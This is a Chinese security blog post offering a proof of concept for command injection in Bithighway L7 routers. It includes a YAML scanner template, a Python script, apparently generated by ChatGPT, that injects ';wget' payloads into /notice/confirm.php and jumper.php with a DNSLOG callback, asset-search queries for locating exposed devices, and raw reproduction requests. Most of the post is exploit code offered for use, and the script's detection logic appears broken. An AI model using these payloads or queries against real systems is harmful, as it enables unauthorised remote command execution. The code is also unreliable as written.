POC(Yaml&Python)
话不多说先上POC(Yam-poc由yakit或ProjectDiscovery Cloud Platform生成,Python-poc脚本由chatgpt生成,准确性请自测,如您觉得有用,请动动小手点个关注,为您每天更新最新漏洞POC)
-
「Yaml」
id: bithighway-jumper-confirm-rce
info:
name: 碧海威 L7多款网络产品存在命令执行漏洞
author: god
severity: critical
description: 碧海威 L7多款网络产品存在命令执行漏洞
metadata:
fofa-query: title="碧海威L7云路由"
tags: bithighway,rce
http:
- raw:
- |
@timeout: 30s
GET /notice/jumper.php?t=;wget%20{{interactsh-url}} HTTP/1.1
Host: {{Hostname}}
max-redirects: 3
matchers-condition: and
matchers:
- type: word
words:
- "dns"
part: interactsh_protocol
- raw:
- |
@timeout: 30s
GET /notice/confirm.php?t=;wget%20{{interactsh-url}} HTTP/1.1
Host: {{Hostname}}
max-redirects: 3
matchers-condition: and
matchers:
- type: word
words:
- "dns"
part: interactsh_protocol
-
「Python」
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import requests
import argparse
import random
import time
import string
from urllib3.exceptions import InsecureRequestWarning
RED = '�33[91m'
RESET = '�33[0m'
# 忽略证书验证警告
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
def rand_base(n):
return ''.join(random.choices(string.ascii_lowercase + string.digits, k=n))
headers = {
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36'
}
def get_dnslog():
url = f'http://www.dnslog.cn/getdomain.php?t={random.random()}'
r = requests.get(url=url, headers=headers, timeout=18)
get_cookie = r.cookies.get_dict()
cookie = "; ".join([f"{k}={v}" for k, v in get_cookie.items()])
info = {'domain': r.text.strip(), 'cookie': cookie}
return info
def check_dnslog(info):
cookie = info['cookie']
domain = info['domain']
url = f'http://www.dnslog.cn/getrecords.php?t={random.random()}'
headers.update({'Cookie': cookie})
r = requests.get(url=url, headers=headers, timeout=18)
get_log_text = r.text
if domain in get_log_text:
return True
else:
return False
def check_vulnerability(url):
identification1 = rand_base(4)
identification2 = rand_base(4)
dnsloginfo = get_dnslog()
dnslog = dnsloginfo['domain']
try:
# 构造完整的攻击URL
attack_url = f"{url.rstrip('/')}/notice/confirm.php?t=;wget%20{identification1}.{dnslog}"
response = requests.get(attack_url, verify=False, timeout=10)
attack_url2 = f"{url.rstrip('/')}/notice/jumper.php?t=;wget%20{identification2}.{dnslog}"
response2 = requests.get(attack_url2, verify=False, timeout=10)
except requests.RequestException as e:
if check_dnslog(dnsloginfo):
print(f"{RED}URL [{url}] 可能存在碧海威 L7多款网络产品存在命令执行漏洞;{RESET}")
else:
print(f"URL [{url}] 可能不存在漏洞;")
def main():
parser = argparse.ArgumentParser(description='检测目标地址是否存在碧海威 L7多款网络产品存在命令执行漏洞')
parser.add_argument('-u', '--url', help='指定目标地址')
parser.add_argument('-f', '--file', help='指定包含目标地址的文本文件')
args = parser.parse_args()
if args.url:
if not args.url.startswith("http://") and not args.url.startswith("https://"):
args.url = "http://" + args.url
check_vulnerability(args.url)
elif args.file:
with open(args.file, 'r') as file:
urls = file.read().splitlines()
for url in urls:
if not url.startswith("http://") and not url.startswith("https://"):
url = "http://" + url
check_vulnerability(url)
if __name__ == '__main__':
main()
漏洞介绍
❝
碧海威L7多款网络产品是一系列由碧海威公司推出的网络产品,包括路由器、交换机、防火墙等。这些产品具有高性能、稳定性和安全性,并且适用于各种规模和类型的网络环境。。碧海威 L7多款产品
confirm
、jumper
存在命令执行漏洞,导致恶意攻击者可以执行命令获取对服务器的远程访问权限或者破坏系统,对服务器造成极大的安全隐患。❞
资产测绘
-
「Fofa」
❝
title="碧海威L7云路由"
❞
-
「Hunter」
❝
web.title="碧海威L7云路由"
❞
-
「Quake」
❝
title="碧海威L7云路由"
❞
漏洞复现
「1、构造数据包」
GET /notice/confirm.php?t=;wget%20aa.dgrh3.cn HTTP/1.1
Host: ip
GET /notice/jumper.php?t=;wget%20bb.dgrh3.cn HTTP/1.1
Host: ip
「2、查看DNSLOG」
修复方案
❝
官方已发布安全补丁,建议联系厂商打补丁或升级版本。 引入Web应用防火墙防护,配置接口拦截策略。 ❞
原文始发于微信公众号(浅梦安全):【漏洞复现|含POC】碧海威 L7多款网络产品存在命令执行漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论